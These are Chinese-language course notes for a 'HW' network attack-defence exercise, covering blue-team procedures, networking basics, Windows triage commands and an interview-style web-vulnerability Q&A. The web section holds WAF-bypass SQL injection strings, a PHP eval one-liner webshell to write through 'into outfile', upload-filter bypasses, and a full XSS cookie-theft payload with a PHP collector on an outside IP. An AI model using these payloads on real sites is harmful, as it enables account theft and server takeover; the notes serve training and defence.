
护网基本定义：

护网行动是由公安机关组织的“网络实战攻防演习”

护网的目的：

（1）：及时发现并整改网络安全层次问题隐患，检验并提交提升国家关键信息基

础设施安全防护能力和应急处置能力；

（2）：进一步加强重点单位、社会力量与公安机关的协同配合和联合作战能力；

（3）：通过攻防实战、提高攻防双方技术对抗、决策指挥及应急处置能力；

攻防演习防护过程：

准备阶段•

防守方案编制•

防守工作启动会•

人员结构组织•

目标系统梳理•

网络架构检查•

安全防护设备、厂商梳理了解•

APT检测、流量分析、态势感知等安全设备梳理了解•

自查阶段：

互联网资产扫描探测•

漏洞扫描•

渗透测试•

安全风险检查（集权类系统、网络划分应用系统、网络攻击风险等检查）•

安全基线、配置核查•

安全设备策略有效性检查•

日志审计情况检查•

重大活动或之前进行的安全评估结果复查•

安全监测、防护设备补充完善•

安全整改加固•

安全设备：

边界隔离：网闸、下一代防火墙/UTM；•

旁路检测：IDS/CS，网络审计、数据库审计、APT、全流量分析系统；•

数据传输加密：VPN、加密机；•

WEB服务器重点防护：服务器区前端部署WAF，部署网页防篡改系统；•

终端管控：EDR；•

平台监控：安全管理平台；•

其他设备：漏洞扫描、基线核查、威胁情报系统、蜜罐、攻防演练平台；•

演练阶段：

授权与备案•

预演习攻击•

预演习防护•

问题分析总结•

安全整改与加固•

实战阶段：

安全事件实时监测•

安全事件分析•

应急响应和决策处置•

总结阶段：

再演习过程中还存在的脆弱点，开展整改工作，进一步提高目标系统的安全防护能

力。

防守事件分类：

护网课程
2024年5月12日 7:54
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防守事件分类：

木马后门•

异常登陆•

钓鱼邮件•

漏洞攻击•

暴力破解•

数据窃取•

拒绝服务•

事件分级：

一级：演习目标被控制•

二级：重要系统或设备被控制•

三级：内网一般设备被控制•

四级：DMZ区一般设备被控制•

五级：DMZ区设备遭到攻击或内网终端遭到攻击•

HW攻击方式：

防守应对措施：
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HTTP

定义：超文本传输协议，是一种用于分布式、协作式和超媒体信息系统的应用层协

议，是万维网的数据通信的基础

主要功能：包含了命令和传输信息，用于web访问、其他的lnternet、内联网应用系

统之间的通讯

工作原理：HTTP协议采用了请求/响应模型

客户端想服务器发送了一个请求报文；

请求报文包含：请求的方法、URL、协议版本、请求头部和请求数据。

响应的内容包括：协议的版本、成功或者错误代码、服务器信息、响应头部和响应数

据

HTTP协议的特点：

无连接•

无状态•

DHCP：

定义：

由服务器控制一段IP地址范围，客户机登陆服务器时就可以自动获取服务器分配的IP

地址和子网掩码

主要作用：

集中的管理、分配IP地址，使网络环境中的主机动态的获得IP地址、Gateway地

址、DNS服务器地址等信息，并能够提升地址的使用率

工作原理：

集中管理和自动分配IP网络地址的通信协议

NAT

定义：

NAT（网络地址转换协议）协议时将IP数据抱头中的IP地址转换未另一个IP地址的过

程

主要作用：

NAT不仅能解决IP地址不足的问题

工作原理：

私有网络发送对lnternet访问请求，并在组织出口位置部署网关

网络基础知识
2024年5月12日 9:34
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私有网络发送对lnternet访问请求，并在组织出口位置部署网关•

报文离开私网时，源IP替换公网地址•

请求到达后，出口网关将目的地址替换为私网地址并返回请求•

特点：

节省合法注册地址•

重叠地址提供解决方案•

DNS域名解析系统-----将域名解析为对应ip地址

DNS基于UDP，端口号53

DNS报文：DNS query 查询 、DNS query response 查询响应

域名组成：主机名www 次顶级域名huawei

顶级域名.com .cn .net .edu .org .gov 根域.

域名举例：www.huawei.com

DNS查询方式

DNS服务器没有域名对应的ip地址时

递归查询：DNS服务器询问其他DNS服务器，将其他DNS服务器回复的ip地址，发送

给客户端

迭代查询：DNS服务器将其他DNS服务器地址发送给客户端，客户端自行找其他DNS

服务器查询

TCP/IP 对等模型                        数据名称

5 应用层----为应用程序提供接口           Data 数据

4 传输层----建立、维护、断开端到端连接 TCP UDP segment 数据段

3 网络层-----编址、寻址、路由 IP    packet 数据包

2 数据链路层----封装成数据帧，差错检测 MAC    frame 数据帧

1 物理层----传输比特流    bit 比特

UDP用户数据报协议：无连接，不可靠

UDP报文

TCP与UDP的区别

TCP面向连接、可靠、带宽利用率低

UDP无连接、不可靠、适合实时性通信，延迟小，带宽利用率高
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ARP地址解析协议---通过已知ip地址获取对应MAC地址

ARP报文：ARP请求request报文（广播）

ARP响应Reply报文（单播）

ARP报文---发送端MAC，发送端ip，目的端MAC，目的端ip 

ARP请求报文---广播报文，数据帧头中目的MAC全F--广播

  

ARP响应报文

ARP原理：

a.查看ARP缓存表，表中有IP地址和MAC地址的对应关系，直接封装数据帧发送，表

中没有，通过ARP获取

b.发送ARP请求报文，获取对方MAC地址

c.设备收到ARP请求报文后，将源MAC和源ip地址存入ARP缓存表

d.回复ARP响应报文，将自己ip和MAC放入ARP响应报文中

e.设备收到ARP响应报文，将对方的ip和MAC放入ARP缓存表中f.发送数据，通信

ARP缓存表老化时间----window是2分钟，华为设备20分钟，思科设备5分钟免费

ARP-----检测ip地址冲突

发送3次ARP请求报文，源目ip均为自己，如果有回应，说明ip地址冲突，没有回应，

未冲突可以使用
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文件分析

windows系统通过以下三种

利用操作系统中的启动菜单•

利用系统配置msconfig（cmd窗口）•

利用注册表regedit•

临时文件

Temp是指系统临时文件夹。再windows中，temp文件夹主要分布再下面三个位置。

cmd窗口输入%temp%。即可弹出存放临时文件的文件夹。•

打开后查看temp文件夹下的PE文件（exe，dll，sys），查看是否有特别大的tmp

文件。

•

发现可疑文件如何检验是否为恶意文件。•

发现可疑文件，如何检验是否为恶意文件：

将可疑文件上传至在线网站微步在线检查

进程排查

定义：本地计算机与外部网路通信是建立在Tcp或者UDP协议上通过端口（0-65535）

进行通信，通常计算机被中木马后，一定会与外部网络通信，此时可通过网络连接状

态，找到对应的进程ID，关闭进程ID（关闭进程ID即意味着关闭连接状态）

进程排查命令

文件排查
2024年5月16日 20:07
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进程排查命令

查看所有的端口占用情况命令：netstat -ano•

参数说明：

-a 显示所有网络连接、路由表、网络接口信息。

-n 以数字形式显示地址和端口号。

-o 显示与每个连接相关的所属进程ID

案例1

查看所有的端口占用情况：netstat -ano•

查看端口中established的所有进程：netstat -ano | find “established”•

发现可以进程定位PID的值：11884•

查看指定PID的占用情况：netstat -ano | findstr “PID”
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查看PID对应的进程命令： tasklist | findstr “pid”

杀死该可疑进程的命令：taskkill /f /t /im 进程名

启动项枚举 计划任务枚举（通过命令行查找的更全）

启动项枚举：

wmic startup list full

计划任务枚举：

schtasks /query/fo table /v

系统信息排查

打开cmd命令弹窗，输入net user查看用户•

也可以net user username•
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也可以利用进程排查工具

日志排查

登录日志•

安全日志•

中间件日志•
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中间件日志
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网络安全法

要在有授权的前提下进行渗透测试，禁止禁止禁止违法！！！！•

1.2017.06《网络安全法》正式颁布

信息安全概述

信息安全：防止任何对数据进行未授权访问的措施，或者防止造成信息有意无意泄

漏、破坏、

                 丢失等问题的发生，让数据处于远离危险、免于威胁的状态或特性。

网络安全：计算机网络环境下的信息安全

2.常见安全风险

3.勒索病毒-----常用端口----135、137、138、139、445、3389

4.信息安全的五要素

保密性—confidentiality•

完整性—integrity•

可用性—availability

WEB常见漏洞
2024年5月17日 17:31
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可用性—availability•

可控性—controllability•

不可否认性—Non-repudiation •

保密性

保密性：确保信息不暴露给未授权的实体或进程。

目的：即使信息被窃听或者截取，攻击者也无法知晓信息的真实内容。可以对抗网络

攻击中

          的被动攻击。

完整性

只有得到允许的人才能修改实体或进程，并且能够判别出实体或进程是否已被修改。

完整性鉴别机制，保证只有得到允许的人才能修改数据。可以防篡改。

可用性

得到授权的实体可获得服务，攻击者不能占用所有的资源而阻碍授权者的工作。用访

问控制机制，阻止非授权用户进入网络。使静态信息可见，动态信息可操作，防止业

务突然中断。

可控性

可控性主要指对危害国家信息（包括利用加密的非法通信活动）的监视审计。控制授

权范围内的信息流向及行为方式。使用授权机制，控制信息传播范围、内容，必要时

能恢复密钥，实现对网络资源及信息的可控性。

不可否认性

对出现的安全问题提供调查的依据和手段。使用审计、监控、防抵赖等 安全机制，使

得攻击者、破坏者、抵赖者“逃不脱" ，并进一步对网络出现的安全问题提供调查依

据和手段，实现信

息安全的可审查性。

渗透攻击流程

渗透攻击流程：

明确目标  信息收集  信息整理  信息分析  漏洞探测  漏洞验证  获取所需  形成报告

信息收集：

域名与IP 企业关系网 信息泄露 员工信息

分享利用：

弱口令/通用口令 信息泄露  Nday漏洞  社工

渗透常见工具：

Metasploit wireshark nmap sqlmap bp goole/hacking 御剑

总体项目流程
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总体项目流程

确认目标企业  签订保密协议  环境准备  开始攻击  成果输出 

常见的web漏洞

Sql注入 

原理：网站数据过滤不严格，过分信赖用户输入的数据, 没有过滤用户输入的 

恶意数据，无条件的把用户输入的数据当作SQL语句执行，因此导致sql注入漏 

洞产生 

Sql注入分类 

以有无闭合字符分类：字符型、整数型 

以数据传输方式分类：post类型、get类型 

注入方式细分：联合查询注入、报错型注入、布尔型盲注、时间型盲注、宽字 

节注入 

报错注入常用函数： 

UpdateXML() 

Floor()Extractvalue() 

mysql默认存在的哪个数据库，注入时经常用到？ 

Information_schema 

时间型盲注特点？常用函数？易受到什么影响？ 

场景：应用于无数据回显，无报错，布尔型盲注失效后 

特点：时间型盲注页面没有明显的回显，只能根据页面刷新时间的长短来 

去判断构造语句是否正确； 

常用函数: sleep函数 if条件语句 等 

易受网络波动影响 

布尔型盲注特点?常用函数？ 

特点:根据页面正确和错误的两种状态，来判断构造语句是否正确 

常用函数： 

length() #用以猜测数据返回字符串的长度 

Sunstr() #截取字符串 

Mid() #取出字符串的一部分值 

Left() #取出字符串左边的几个数据 

Ascii() #返回一个字符的ascii码值 

sql手注的一般步骤：1、判断注入点 

1. 判断注入类型 

2. 判断注入点提交方式 

3. 使用order by语句查询数据库有多少字段 

4. 使用联合查询来查询 union select 

User（） 当前用户 

Database() 数据库 

Version() 数据库版本 

1. 查询数据库中的表、列和值宽字节注入 

有些waf会在我们的提交数据前会被加入\，\的编码为%5c,我们在后面加 

上%df后变为了%df%5c,变成一个繁体汉字運，变成了一个有多个字节的字 

符。因为用了gbk编码，使这个为一个两字节，绕过了单引号闭合,逃逸了转义 

Sql注入绕waf姿势(不用全都说，说几个就行) 

1、函数大小写混合绕过: 

可以绕过的原因：服务器端检测时未开启大小写不敏感 

2、多重关键字绕过 

可以绕过的原因:服务器端检测到敏感字符时替换为空 

形式：ununionion selselectect 
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形式：ununionion selselectect 

3、编码绕过 

可以绕过的原因：服务器端未检测或检测不严具有编码形式的关键字 

编码类型：十六进制编码、URL编码、Unicode编码 

4、注释绕过 

可以绕过的原因：服务器端未检测或检测不严注释内的字符串 

注释形式: 形式：/**/，/*!*/，/*!12345*/，#，-- -等 

5、等价函数或命令绕过 

可以绕过的原因：服务器端黑名单不完整，过滤不严 

等价函数形式： 

Mysql查询：Union distinct、updatexml、Extractvalue、floor 

字符串截取函数：mid、substr、substring、left、reverse 

字符串连接函数：concat、group_concat、concat_ws 

字符串转换：char、hex、unhex 

替换逗号：limit 1 offset 0，mid(version() from 1 for 1) 

替换等号：like 

6、特殊符号绕过绕过原因：数据库中效果相同，服务器端却没有限制 

形式： 

科学记数法 and 1e0 = 1e0 

空白字符 %0a %a0 %0b %20 %09 

反单引号 `table_name` 

括号 select * from (test.admin) 

7、组合绕过 

可以绕过原因：服务器端检测多处位置，需要多重绕过方式组合使用 

形式：id = 1’ and/**/’1’like’2’/**//*!12345union*/select 1,2,3 

什么样的网站可能存在sql注入漏洞？ 

和数据库有数据交互的这种网站，比如一些用php，asp这一类动态脚本写的 

网站 

还有就是伪静态的网站，虽然看着是html的网站，但是实际上是动态网站和数 

据库有数据交互。 

sql注入漏洞挂马利用成功的条件？（sql注入挂马） 

1、支持联合查询 

2、知道网站的绝对路径 

3、上传马的路径允许写入文件 

4、木马上传上去后能够被解析执行。 

5、能够找到木马上传上去以后的位置。 

当你发现一个网站存在sql注入漏洞时，你会怎么进行挂马? 

我会通过手注的方式和sqlmap进行挂马 

说下手注方式挂马用到什么函数？ 

union ,select ,into outfile 

sqlmap挂马用什么参数？原理？--os-shell 内置了一个方法select * into 

dumpfile，这个方法可以写入 

一个文件。 

你一般会怎么利用sql注入漏洞？ 

1、利用sql注入漏洞去读数据,一般读用户数据，网站可能有后台 

2、利用sql注入挂马直接拿下服务器权限。 

如何挖掘sql注入漏洞? 

首先我会看下这个网站是否是动态网站，然后通过手工注入或者使用sqlmap 

工具进行扫描。 

如果详细说的话，手注会先尝试用敏感字符进行尝试，，找出闭合字符，然 

   分区 热月 的第 14 页    



如果详细说的话，手注会先尝试用敏感字符进行尝试，，找出闭合字符，然 

后根据页面状态选择注入的模式，比如如果是联合查询，接下来就是判断列 

数，判断显示位，求网站当前数据库，求当前数据库所有表名，求指定表下列 

名，求指定列名下字段。 

sql注入漏洞如何修复? 

过滤恶意字符和函数（select union orderby）过滤或转义单引号双引号 

使用参数化的语句来传递用户输入的变量 

Sql预编译也可以预防 

Sql预编译原理（PreparedStatement） 

预编译语句PreparedStatement 是java.sql中的一个接口，它是Statement的子接

口。通过 

Statement对象执行SQL语句时，需要将SQL语句发送给DBMS，由DBMS首先进行

编译后再执 

行。 

（预编译语句创建对象时就指定了sql语句） 

预编译语句和Statement不同，在创建PreparedStatement 对象时就指定了SQL语

句，该语句立 

即发送给DBMS进行编译。当该编译语句被执行时，DBMS直接运行编译后的SQL语

句，而不需要 

像其他SQL语句那样首先将其编译。预编译的SQL语句处理性能稍微高于普通的传递

变量的办法 

Sql注入getshell 

● web目录具有写权限，能够使用单引号 

● 知道网站绝对路径 

● secure_file_priv没有具体值（在mysql/my.ini中查看）首先，利用outfile函数 

into outfile 

利用条件：web目录具有写权限，能够使用单引号 

知道网站绝对路径（根目录，或则是根目录往下的目录都行） 

secure_file_priv没有具体值（在mysql/my.ini中查看） 

（secure_file_priv是用来限制load dumpfile、into outfile、load_file()函数在

哪个目录下 

拥有上传和读取文件的权限。在mysql 5.6.34版本以后 secure_file_priv的值默认

为NULL。要修 

改secure_file_priv 的值为‘ ’才可以利用） 

然后通过一些方法获取到了网站的根目录，则可以写入一句话 “ <?php 

eval($_REQUEST[1]);?> ”。一句话建议进行十六进制转码。 

其次，利用--os-shell 

--os-shell就是使用udf提权获取WebShell。也是通过into oufile向服务器写入两个

文 

件，一个可以直接执行系统命令，一个进行上传文件。 

利用条件： 

● 要求为DBA，--is-dba（phpstudy搭建的一般为DBA） 

● secure_file_priv没有具体值 

● 知道网站的绝对路径 

   分区 热月 的第 15 页    



● 知道网站的绝对路径 

● GPC为off，php主动转义的功能关闭 

文件上传漏洞 

(1)文件上传漏洞原理 

开发人员未在文件上传点对文件名和文件内容做严格的过滤,导致用户可以上传恶意脚

本到服 

务端。 

(2)文件上传漏洞一般上传什么马? 

符合网站语言环境的一句话、冰蝎、大马等等 

(3)文件上传绕waf方式 

绕过黑名单（大小写绕过）、绕过白名单%00截断（可以配合中间件漏洞），绕过前

端验证 

(burp抓包修改Content-Type: 为允许的字段)，对文件内容进行绕过 

(4)文件上传常用方式 

(4)当你进行文件上传时，发现网站是iis服务器你会上传什么后缀类型的马？asp或者

aspx 

(5)当你上传asp的脚本文件时上传不上去，你会上尝试再上传什么类型的后缀文件？

为什么上 

传此类后缀的文件脚本 

我会尝试将文件后缀名改为asa或者cdx或者cer尝试进行上传； 

Iis服务器开启了文件后缀扩展功能 

(6)当你发现上传服务器是apache服务器，你会尝试上传什么后缀的马？ 

php 

(7)当你发现上传服务器中间件是tomcat中间件，你会尝试上传什么后缀的马？ 

Jsp 

(8)当你发现上传服务器中间件是weblogic中间件，你会尝试上传什么后缀的马？ 

Jsp 

(9)当你发现上传服务器中间件是nginx，你会尝试上传什么后缀的马？ 

Php 

(10)文件上传漏洞防护 

防护：常见的防护措施比如文件类型可以通过白名单或者黑名单进行判断，当文件上

传后对 

文件进行重命名呀，限制上传文件大小呀等。 

白名单比黑名单要更安全一些。 

(11)文件上传绕waf 

1 文件名大小写绕过 

用像 AsP，pHp 之类的文件名绕过黑名单检测 

2 名单列表绕过 

用黑名单里没有的名单进行攻击，比如黑名单里没有 asa 或 cer 之类 
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用黑名单里没有的名单进行攻击，比如黑名单里没有 asa 或 cer 之类 

3 特殊文件名绕过 

比如发送的 http 包里把文件名改成 test.asp. 或 test.asp_(下划线为空格)，这种命名

方式 

在 windows 系统里是不被允许的，所以需要在 burp 之类里进行修改，然后绕过验

证后，会 

被 windows 系统自动去掉后面的点和空格，但要注意 Unix/Linux 系统没有这个特

性。 

4 htaccess 文件 

配合名单列表绕过，上传一个自定义的.htaccess，就可以轻松绕过各种检测 

5 写入方法首先名字为1.php:jpg，会写入一个1.php的空文件，然后再上传一个文

件，然后修改名字为 

3.<<< 

这样就会把我们这个文件的内容写入到我们上传的那个1.php空文件中 

参考：https://www.waitalone.cn/php-windows-upload.html 

<https://www.waitalone.cn/php-windows-upload.html> 

6截断绕过上传 

1.php .jpg 空格二进制20改为00 

还有一些图片木马之类的，需要结合文件包含漏洞来解析 

文件包含漏洞 

(1)文件包含漏洞原理 

文件包含是指在程序编写过程中，为了减少重复的代码编写操作，将重复的代码采取

从外部 

引入的方式，但如果包含被攻击者所控制，就可以通过包含精心构造的脚本文件来获

取控制 

权，一般分为本地包含和远程包含，常出现在php等脚本语言中，包含命令主要有 

include,include_once,require,require_once。 

(2)远程文件包含和本地文件包含的区别 

本地文件包含只能包含本地的文件。 

远程文件包含要包含其他服务器的文件。若PHP配置选项allow_url_include为ON的

话， 

则include函数是可以加载远程文件的。 

(3) include,include_once,require,require_once这几个函数区别 

Include() #找不到被包含的文件时只会产生警告，脚本继续运行 

Require() #找不到被包含的文件时会发生致命错误，停止脚本运行 

Include_once() #与include()类似，唯一区别是该文件中代码已经被包含，则不会

再次包含 

Require_once() #与require()类似，……（同上） 

(3)文件包含漏洞修复 

一般的防护手段包括 对文件进行敏感内容查找 或者限制文件类型等 

xss漏洞（跨站脚本攻击） 

(1)xss漏洞原理及防护 

前提：当应用程序没有对用户提交的内容进行验证和重新编码，而是直接呈现给网站

的访问 
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的访问 

者时，就可能会触发XSS攻击原理：攻击者利用相应的漏洞，在页面中嵌入JS脚本，

用户访问含恶意脚本代码的页面或 

打开收到的URL链接时，用户浏览器自动加载执行恶意代码，达到攻击的目的。 

1. 防护手段: 

过滤危险字符， 

输入长度限制， 

HTML实体编码等。 

使用黑名单 

对于反射型和存储型，可以在数据返回客户端浏览器时，将敏感字符进行转义； 

对于DOM型，可以使用上下文敏感数据编码。 

(3)xss类型？哪种类型危害最大？ 

存储型、dom型、反射型 

存储型危害最大 

(4)为什么存储型xss危害最大? 

它是一种持久化的攻击，因为其恶意代码直接存储到了网站服务器中。 

(5)类型区别 

反射型：经过后端，不经过数据库； 

存储型：经过后端，经过数据库； 

DOM型：不经过后端。 

反射型是一次性的，用户访问带xss代码的请求时，服务器接受请求并处理，之后将

带有xss 

代码的数据返回给浏览器，浏览器解析执行； 

存储型中提交的恶意内容会被永久存储在数据库，攻击行为伴随攻击数据一直存在； 

DOM型的触发基于浏览器对DOM数据的解析来完成，完全是客户端的事。 

(6)标签：<script> <img> <javascript> 

(7)利用：窃取管理员账号或者cookie；窃取个人信息或登录账号；发送钓鱼邮件。 

(8)如何用xss（反射型）获取用户的cookie值：首先写一段js脚本，会用到

document.get 

【cookie值】，然后把这个恶意脚本放到网站中的一些地方诱骗点击，点击后cookie

值会被 

传送到我的电脑中来。 

在自己的服务器上放入如下代码： 

<?php 

$cookie = $_GET['cookie'];file_put_contents("cookie.txt",$cookie); 

echo '已成功获取cookie信息'; 

?> 

payload： 

<script>document.location=" 

http://192.168.0.143/cookie.php?cookie="+

<http://192.168.0.143/cookie.php?cookie=%22+> document.cookie;</script> 

1、csrf原理及修复？ 

原理：利用受害者尚未失效的身份认证信息（cookie、会话等），诱骗其点击恶意链

接或 

者访问包含攻击代码的页面，受害人不知情的情况下会以受害者的身份向服务器发送

请求， 

从而完成非法操作。 

2、修复： 
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2、修复： 

a：验证http头的referer：仅响应referer头带本域的请求。 

b：请求地址中添加token验证。 

c：使用localstorage和sessionstorage保存会话。 

1. 类型 

get请求型csrf：只需要构造url，然后诱导受害者访问； 

Post请求型csrf：构造自动提交的表单，诱导受害者访问或者点击。 

1. 危害： 

利用受害者身份发送邮件、发消息、盗取受害者的账号等 

1. 与xss的区别： 

csrf漏洞（跨站请求伪造）1. 与ssrf的区别 

ccrf 是指攻击者盗用了你的身份，以你 的名义发送恶意请求，例如发送邮 

箱， 盗用账户，购买商品等。 

ssrf 是指大型 网站 web 应用上提供了从其他服务器获取数据的功能，攻击者 

利用有缺陷的 web 应用作为代理远程攻击。 

ssrf漏洞（服务端请求伪造） 

1. 原理: 

服务端提供了从其他服务器获取数据的功能，但是没有对目标地址进行过滤和限制。

比如从 

指定的URL地址获取网页内容，加载指定地址的图片、数据、下载等等。 

一般情况下，我们服务端请求的目标都是与该请求服务器处于同一内网的资源服务，

但是如 

果没有对这个请求的目标地址、文件等做充足的过滤和限制，攻击者可通过篡改这个

请求的 

目标地址来进行伪造请求。 

1. ssrf漏洞修复： 

url白名单（限制不能访问内网的ip） 

过滤返回信息 

统一错误信息 

限制请求端口只能为web端口，只允许访问http和https的请求； 

1. ssrf利用1、可以对服务器所在的内网、本地进行端口扫描，获取一些服务的

banner信息 

2、攻击运行在内网或本地的应用程序（比如溢出） 

3、对内网web应用进行指纹识别，通过访问应用存在的默认文件实现； 

4、攻击内外网的web应用，主要是使用get参数就可以实现的攻击（比如struts2漏洞

利用 

等） 

5、利用file协议读取本地文件 

6、利用Redis未授权访问，HTTP CRLF注入达到getshell 

7、DOS攻击（请求大文件，始终保持连接keep alive always）等等 

1. 绕过姿势 

2. （绕黑名单）进制转换ip 

3. （绕白）使用@在主机名之前的url中嵌入凭据； 

4. 302跳转； 

5. DNS重绑定 

xxe漏洞（外部实体注入） 

1. 原理： 

一些配置不当的xml处理器会对外部实体进行引用，如果攻击者可以上传xml文档或在 

xml文档中添加恶意内容，通过易受攻击的代码就能攻击包含缺陷的xml处理器。 

1. 利用方式：任意文件读取、系统命令执行、内网端口探测、攻击内网网站、钓鱼 
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1. 利用方式：任意文件读取、系统命令执行、内网端口探测、攻击内网网站、钓鱼 

2. 修复防御：1、使用开发语言提供的禁用外部实体的方法； 

3. 过滤提交的xml数据；（过滤SYSTEM等敏感关键字） 

逻辑漏洞 

原理：攻击者利用业务或功能上的设计缺陷，获取敏感信息或破坏业务完整性。 

什么是越权？分类？越权访问 原理：越权的本质是失效的访问控制，即未对通过身

份验证的用户实施恰当的访 

问控制。对客户端请求的数据遗漏了权限的判定，验证一旦不充分，就容易出现越权

漏洞。 

一般分为水平越权和垂直越权 

水平越权可以不经过验证操作其它同等权限的账号（相同权限的用户之间可以越权访

问） 

垂直越权一般是指可以不经过验证操作就可以操作权限更大的账号（低权限用户访问

到了高 

权限用户） 

常见的逻辑漏洞有哪些？ 

支付逻辑，短信逻辑，越权漏洞等 

短信逻辑漏洞（短信轰炸漏洞） 

顾名思义就是可以无限制地发送短信，原理由于短信业务逻辑设计缺陷，没对短信发

送次数 

做限制，导致可以大量重复发送短信验证码。该漏洞会对其他用户造成骚扰或使厂商

的运营 

商短信费用的增加，造成损失。 

普通的安全加固手段？ 

答：关闭不常用的端口和服务；开启防火墙，不允许外部USB设备的插入；数据库不

允许匿 

名登陆等，漏洞扫描修复，修改一些中间件或系统的配置文件。 

安全加固手段： 

1. 关闭不常用端口与服务； 

2. 开启防火墙，不允许外部usb设备插入； 

3. 数据库不允许匿名登录； 

4. 对可控参数进行严格的检查与过滤。 

命令执行漏洞是执行系统命令 

代码执行漏洞是执行后端脚本命令(比如php的代码) 

命令执行漏洞 

原理： 

程序应用有时需要调用一些执行系统命令的函数，如php中的system、exec、shell-

exec、 

passthru、popen、proc_open、assert、putenv 

等。 

漏洞条件：用户能够控制的函数输入；存在可以执行代码或系统命令的危险函数。 

基本定义：指攻击者可以随意执行系统命令。利用（危害）：继承web服务程序的权

限去执行系统命令（任意代码）或读写文件；反弹 

shell；控制整个网站甚至服务器；进一步内网渗透。 

防御：尽量不执行外部指令；使用自定义函数或函数库来替代外部命令的功能；使用 

escapeshellerg函数来处理命令参数。 

反序列化漏洞 

原理：首先了解一下序列化和反序列化的含义： 

序列化是指Java对象转化为二进制内容，转换的原因就是为了便于网络传输和本地存
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序列化是指Java对象转化为二进制内容，转换的原因就是为了便于网络传输和本地存

储。 

反序列化的含义是将相应的二进制转换为Java对象。 

漏洞成因：当输入的反序列化的数据可以被用户控制，那么攻击者就可通过构造恶意

输入， 

让反序列产生非预期对象，同时执行构造的恶意代码 

常用函数：（php反序列化）围绕：serialize()和unserialize()这两个函数展开 

常用的魔术函数：1、_construct() #当一个对象创建时被调用 

2、_destruct() #当一个对象被销毁时被调用 

3、_tostring() #输出的时候自动调用 

4、_sleep() #在对象在被序列化之前运行 

5、_wakeup #将在序列化之后立即被调用
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当猴子，当猴子，当猴子！！！！！！！！！！

直接借助安全设备（WAF、IDS、IPS）开展安全实时监测，对发现攻击行为进行确

认，详细记录相关攻击数据，为后续处置提供信息。

工作内容：

负责安全事件分析监测，策略调整，状态巡检，协助封堵

负责保障事件的上报，统计汇总，定期形成工作报告/总结报告

重要性：

防护体系第一道防线，安全事件第一发现者事件分析的前提，后续流程运转的基础

快速遏制攻击行为，可调整策略阻挡攻击

安全设备部署位置：网络架构区域：DMZ、生产区、核心区、测试区、VPN、第

三方数据中心

•

流量日志接入：注意接入区的流量，平台类设备注意日志接入情况，探针部署位

置

•

旁路部署和串联部署：旁路部署一般是指通过交换机等网络设备的“端口镜像”功

能实现监控。串联部署指串联在链路中，可以控制流量

•

业务划分：了解内网业务IP、出口IP、负载IP、各级网段、业务白名单•

岗位职责：甄别攻击，情况汇总，攻击画像，修缮规则，及时封禁，增加检测规

则

•

设备监控：初步监控，简单分析，上报•

分析研判：对攻击方式、路径、范围、结果等做分析研判，找到攻击者信息•

应急响应：攻击事件影响分析、复现与溯源•

处置封禁：事件的处置，包括IP封禁•

安全事件的分析监测：

背景流量监测真实攻击，第一时间上报并完成处置•

演练前期大量扫描探测行为及时封禁可以有效阻断攻击方资产收集•

通过告警完成攻击者画像•

安全设备的策略调整：

事件上报一般性原则：

上报事件查IP归属地•

IP上报不重复•

重点关注事件响应动作为PASS的•

攻击频率高要上报•

漏洞利用类要重点上报•

低危事件大量扫描必上报（批量）•

国外IP要上报处置•

蓝军防守技术
2024年5月17日 17:35
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国外IP要上报处置•

确定恶意攻击必上报•

一个IP对多个资产进行攻击要上报•

高危事件重点关注（敏感文件访问、文件上传、或者webshell连接等）•

监控事件遵循原则：先看相应动作，再看详细报文分析，再看IP•

安全设备

安全监测类：

IDS:某某入侵检测与管理系统•

IPS:天清入侵防御系统•

主要特点有：•

深层防御、精确阻断，•

可及时准确发现入侵攻击行为，•

实时精确阻断，•

主动而高效•

APT:

邮件管理：天清邮件安全管理系统

安全防护类：

网页防篡改：天清web应用安全网关网页防篡改

防火墙：天清汉马USG防火墙

抗DDOS:天清ADM

WAF:天清web应用安全网关

基于算法引擎和特征引擎双引擎检测方法，针对web服务器进行http/https流量监测

防护场景：

＞恶意扫描防护；＞漏洞利用防护；暴力破解防护；SQL注入防护；XSS注入防护；＞

敏感信息泄露防护；Web网站应急保障；

WAF-﹣联动防护 

> TAR联动

TAR发现安全攻击通过API接口下发封堵策略至WAF设备进行源IP封堵

全流联动

联动NFT取证，还原攻击过程

蜜罐联动

WAF将攻击流量引流至蜜罐产品进行

攻击捕获及反制

威胁情报联动，

挖掘攻击者信息

安全分析类：•

入侵分析：入侵分析中心DAC•

流量分析：泰和流量分析系统NBA•

安全管理/展示类•

策略管理：flowereye安全域流监控系统•
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策略管理：flowereye安全域流监控系统•

日志审计：泰和日志审计系统•

数据库审计：天玥数据库审计系统•

安全运营平台：启明星辰安全运营平台•

态势感知平台：泰和安全管理平台TSDC•
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编码特征

Base64：MTIzNDU2Nw==•

Unicode：•

URL编码：u0031u0032u0033u0034u0035u0036•

实体化编码：%3Cscript%3Ealert%28123%29%3C/script%3E•

特征编码：&#x3C;&#x73;&#x63;&#x72;&#x69;&#x70•

异常特征：

异常的外部URL

·rmi://fastjson_rcenlbODRGW.awvsscan119.autoverify.cn/poc

·ldap://xx.xx.xx.xx/

异常的HTTP传输行为

·PUT /FxCodeShell.jsp/

·PUT /FxCodeShell. jsp::$DATA

异常的HTTP header行为

·Range: bytes=0-18446744073709551615

·Bad-Bash: ( {:}; echo echo Bad-Bash: tznupowcysf

Webshell分析

主机层面

·文件特征分析

存在系统调用的命令执行函数•

如：eval、system、cmd_shell、assert等

存在系统调用的文件操作函数•

如：fopen、fwrite、readdir等

存在数据库操作函数，调用系统自身的储存过程来连接数据库操作•

通过自定义加解密函数

流量层面

流量即使加密多或少都会存在一些特征，通过大量数据分析比对发现其流量特征

研判分析与处置技术
2024年5月17日 17:41
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请求URL异常•

带有常见的系统调用，系统配置，文件操作等动作•

消息体信息异常•

其他信息异常•

Cookie,Agent头等异常•

处置方法

处置：•

证据留存•

将入侵事件截图备份等，入侵日志备份存档•

事件上报•

将此次事件迅速反映给上级•

上报处置•

有封禁权限的，通过防火墙配置IP黑名单，封堵威胁源IP•

·对威胁主机进行网络隔离，防止恶意攻击持续扩散•

.搜索主机历史事件，确认攻击的攻击来源•

.通过事件排查漏洞页面，清理网站及数据库中所植入的恶意文件•

主机处置

将主机和当前业务网络隔离

日志保存与分析

检查常规用户和文件权限配置

主机杀毒

操作系统的重新安装，打上最新补丁（系统和服务软件），系统加固

修复实例

暴力破解攻击（留存报告后）

防火墙配置IP黑名单

隔离威胁主机网络

查看是否包括扫描类事件，给出建议：如关闭不需要的端口，服务等. 针对破解成

功的主机，修改账号密码为强口令，建议定期修改密码· 建议使用终端杀毒软件进

行全盘查杀，防止攻击者安装恶意文件
